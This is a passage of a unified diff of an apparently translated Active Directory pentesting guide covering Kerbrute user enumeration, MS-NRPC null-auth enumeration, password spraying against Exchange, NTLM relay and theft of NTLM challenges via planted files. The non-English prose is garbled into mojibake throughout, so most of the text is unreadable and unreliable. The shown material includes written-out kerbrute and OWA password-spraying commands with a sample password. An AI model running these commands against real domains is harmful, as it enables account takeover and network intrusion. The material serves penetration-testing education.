рдирд╛рдо рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рднрд┐рдиреНрди AD **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд╕рдореНрдореЗрд▓рдиреЛрдВ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[рдпрд╣ рдкрдврд╝реЗрдВ**](https://activedirectorypro.com/active-directory-user-naming-convention/)). рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╕рдореНрдореЗрд▓рди рд╣реИрдВ: _NameSurname_, _Name.Surname_, _NamSur_ (рдкреНрд░рддреНрдпреЗрдХ рдХреЗ 3 рдЕрдХреНрд╖рд░), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЕрдХреНрд╖рд░ рдФрд░ 3 рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛_ (abc123)ред - рдЙрдкрдХрд░рдг: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -77,8 +80,8 @@ AD рдкрд░ **рд╣рдорд▓рд╛ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **Kerberos ### User enumeration - **рдЧреБрдордирд╛рдо SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) рдФрд░ [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) рдкреГрд╖реНрдареЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -- **Kerbrute enum**: рдЬрдм рдПрдХ **рдЕрдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддреЛ рд╕рд░реНрд╡рд░ **Kerberos рддреНрд░реБрдЯрд┐** рдХреЛрдб _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╣рдореЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЕрдорд╛рдиреНрдп рдерд╛ред **рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рдпрд╛ рддреЛ **AS-REP** рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **TGT** рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ рдпрд╛ рддреНрд░реБрдЯрд┐ _KRB5KDC_ERR_PREAUTH_REQUIRED_ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрд╡-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -- **MS-NRPC рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреЛрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ**: рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдкрд░ MS-NRPC (Netlogon) рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл auth-level = 1 (рдХреЛрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдпрд╣ рд╡рд┐рдзрд┐ `DsrGetDcNameEx2` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ MS-NRPC рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдмрд╛рдЗрдВрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рдореМрдЬреВрдж рд╣реИред [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) рдЙрдкрдХрд░рдг рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рд╕реВрдЪреАрдмрджреНрдзрддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред рдЕрдиреБрд╕рдВрдзрд╛рди рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ [рдпрд╣рд╛рдБ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **Kerbrute enum**: рдЬрдм рдПрдХ **рдЕрдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддреЛ рд╕рд░реНрд╡рд░ **Kerberos рддреНрд░реБрдЯрд┐** рдХреЛрдб _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╣рдореЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЕрдорд╛рдиреНрдп рдерд╛ред **рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рдПрдХ AS-REP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **TGT** рдпрд╛ рддреНрд░реБрдЯрд┐ _KRB5KDC_ERR_PREAUTH_REQUIRED_ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░реЗрдЧрд╛, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрд╡-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред +- **MS-NRPC рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреЛрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ**: рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдкрд░ MS-NRPC (Netlogon) рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл auth-level = 1 (рдХреЛрдИ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдпрд╣ рд╡рд┐рдзрд┐ `DsrGetDcNameEx2` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ MS-NRPC рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рдмрд╛рдЗрдВрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рдореМрдЬреВрдж рд╣реИред [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) рдЙрдкрдХрд░рдг рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рд╕реВрдЪреАрдмрджреНрдзрддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред рдЕрдиреБрд╕рдВрдзрд╛рди рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ [рдпрд╣рд╛рдБ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -105,9 +108,9 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> рдЖрдк [**рдЗрд╕ github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* рдФрд░ рдЗрд╕ ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪрд┐рдпрд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +> рдЖрдк [**рдЗрд╕ github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) рдФрд░ рдЗрд╕ ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪрд┐рдпрд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред > -> рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХрдВрдкрдиреА рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд▓реЛрдЧреЛрдВ рдХреЗ рдирд╛рдо** рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЖрдк рдкрд╣рд▓реЗ рдХреА рдкреБрдирдГ рдЦреЛрдЬ рдЪрд░рдг рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░ рдЪреБрдХреЗ рд╣реИрдВред рдирд╛рдо рдФрд░ рдЙрдкрдирд╛рдо рдХреЗ рд╕рд╛рде, рдЖрдк рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**namemash.py**](https://gist.github.com/superkojiman/11076951) рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +> рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрдВрдкрдиреА рдореЗрдВ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд▓реЛрдЧреЛрдВ рдХрд╛ **рдирд╛рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП** рдЬреЛ рдЖрдк рдкрд╣рд▓реЗ рдХреА рдкреБрдирдГ рдЦреЛрдЬ рдЪрд░рдг рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рдЪреБрдХреЗ рд╣реИрдВред рдирд╛рдо рдФрд░ рдЙрдкрдирд╛рдо рдХреЗ рд╕рд╛рде, рдЖрдк рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**namemash.py**](https://gist.github.com/superkojiman/11076951) рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЬрд╛рдирдирд╛ @@ -131,11 +134,11 @@ password-spraying.md ### NTLM рд░рд┐рд▓реЗ -рдпрджрд┐ рдЖрдк рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдЕрдзрд┐рдХ рдИрдореЗрд▓ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рдмреЗрд╣рддрд░ рд╕рдордЭ** рд╣реЛрдЧреАред рдЖрдк NTLM [**рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ AD рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред +рдпрджрд┐ рдЖрдк рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдЕрдзрд┐рдХ рдИрдореЗрд▓ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рдмреЗрд╣рддрд░ рд╕рдордЭ** рд╣реЛрдЧреАред рдЖрдк NTLM [**рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ AD рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред ### NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЪреБрд░рд╛рдирд╛ -рдпрджрд┐ рдЖрдк **рдЕрдиреНрдп PCs рдпрд╛ рд╢реЗрдпрд░реЛрдВ** рддрдХ **null рдпрд╛ guest user** рдХреЗ рд╕рд╛рде **рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдлрд╛рдЗрд▓реЗрдВ** (рдЬреИрд╕реЗ SCF рдлрд╛рдЗрд▓) рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВ рддреЛ **рдЖрдкрдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреА** рддрд╛рдХрд┐ рдЖрдк **NTLM рдЪреБрдиреМрддреА** рдЪреБрд░рд╛ рд╕рдХреЗрдВ: +рдпрджрд┐ рдЖрдк **рдЕрдиреНрдп PCs рдпрд╛ рд╢реЗрдпрд░реЛрдВ** рддрдХ **null рдпрд╛ guest user** рдХреЗ рд╕рд╛рде **рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдлрд╛рдЗрд▓реЗрдВ** (рдЬреИрд╕реЗ SCF рдлрд╛рдЗрд▓) рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдкрд╣реБрдБрдЪреА рдЬрд╛рддреА рд╣реИрдВ рддреЛ **рдЖрдкрдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреА** рддрд╛рдХрд┐ рдЖрдк **NTLM рдЪреБрдиреМрддреА** рдЪреБрд░рд╛ рд╕рдХреЗрдВ: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -143,7 +146,7 @@ password-spraying.md ## рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рд╕реЗрд╢рди рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕реВрдЪреА рдмрдирд╛рдирд╛ -рдЗрд╕ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **рдПрдХ рдорд╛рдиреНрдп рдбреЛрдореЗрди рдЦрд╛рддреЗ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдПрдХ рд╕рддреНрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред** рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдПрдХ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╣реИ, рддреЛ **рдЖрдкрдХреЛ рдпрд╛рдж рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдкрд╣рд▓реЗ рджрд┐рдП рдЧрдП рд╡рд┐рдХрд▓реНрдк рдЕрднреА рднреА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ**ред +рдЗрд╕ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **рдПрдХ рдорд╛рдиреНрдп рдбреЛрдореЗрди рдЦрд╛рддреЗ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рд╕рддреНрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред** рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдПрдХ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╢реЗрд▓ рд╣реИ, рддреЛ **рдЖрдкрдХреЛ рдпрд╛рдж рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдкрд╣рд▓реЗ рджрд┐рдП рдЧрдП рд╡рд┐рдХрд▓реНрдк рдЕрднреА рднреА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ**ред рдкреНрд░рдорд╛рдгрд┐рдд рд╕реВрдЪреА рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ **Kerberos рдбрдмрд▓ рд╣реЙрдк рд╕рдорд╕реНрдпрд╛** рдХреНрдпрд╛ рд╣реИ, рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рд┐рдПред @@ -155,17 +158,17 @@ kerberos-double-hop-problem.md рдПрдХ рдЦрд╛рддреЗ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ **рдкреВрд░реЗ рдбреЛрдореЗрди рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдбрд╝рд╛ рдХрджрдо рд╣реИ**, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ: -[**ASREPRoast**](asreproast.md) рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рдЖрдк рдЕрдм рд╣рд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ [**Password Spraying**](password-spraying.md) рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рдЖрдк **рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдЦрд╛рддреЗ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб, рдЦрд╛рд▓реА рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдирдП рдЖрд╢рд╛рдЬрдирдХ рдкрд╛рд╕рд╡рд░реНрдб рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВред +[**ASREPRoast**](asreproast.md) рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рдЖрдк рдЕрдм рд╣рд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ [**Password Spraying**](password-spraying.md) рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рдЖрдк **рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪреА** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдЦрд╛рддреЗ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб, рдЦрд╛рд▓реА рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдирдП рдЖрд╢рд╛рдЬрдирдХ рдкрд╛рд╕рд╡рд░реНрдб рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВред -- рдЖрдк [**CMD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдмреБрдирд┐рдпрд╛рджреА рдкреБрдирдГ рдЦреЛрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**](../basic-cmd-for-pentesters.md#domain-info) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- рдЖрдк [**CMD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдмреБрдирд┐рдпрд╛рджреА рдкреБрдирдГ рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](../basic-cmd-for-pentesters.md#domain-info) - рдЖрдк [**рдкреБрдирдГ рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП powershell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](../basic-powershell-for-pentesters/index.html) рдЬреЛ рдЕрдзрд┐рдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╣реЛрдЧрд╛ - рдЖрдк [**powerview рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](../basic-powershell-for-pentesters/powerview.md) рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП -- рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкреБрдирдГ рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдЕрджреНрднреБрдд рдЙрдкрдХрд░рдг [**BloodHound**](bloodhound.md) рд╣реИред рдпрд╣ **рдмрд╣реБрдд рдЫрд┐рдкрд╛ рд╣реБрдЖ рдирд╣реАрдВ рд╣реИ** (рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рдВрдЧреНрд░рд╣ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░), рд▓реЗрдХрд┐рди **рдпрджрд┐ рдЖрдкрдХреЛ рдЗрд╕рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рд╣реИ**, рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдкрддрд╛ рдХрд░реЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RDP рдХрд╣рд╛рдБ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрдиреНрдп рд╕рдореВрд╣реЛрдВ рдХреЗ рд▓рд┐рдП рдкрде рдЦреЛрдЬреЗрдВ, рдЖрджрд┐ред -- **рдЕрдиреНрдп рд╕реНрд╡рдЪрд╛рд▓рд┐рдд AD рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рдЙрдкрдХрд░рдг рд╣реИрдВ:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдкреБрдирдГ рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдЕрджреНрднреБрдд рдЙрдкрдХрд░рдг рд╣реИ [**BloodHound**](bloodhound.md)ред рдпрд╣ **рдмрд╣реБрдд рдЫрд┐рдкрд╛ рд╣реБрдЖ рдирд╣реАрдВ рд╣реИ** (рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рдВрдЧреНрд░рд╣ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░), рд▓реЗрдХрд┐рди **рдпрджрд┐ рдЖрдкрдХреЛ рдЗрд╕рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рд╣реИ**, рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдкрддрд╛ 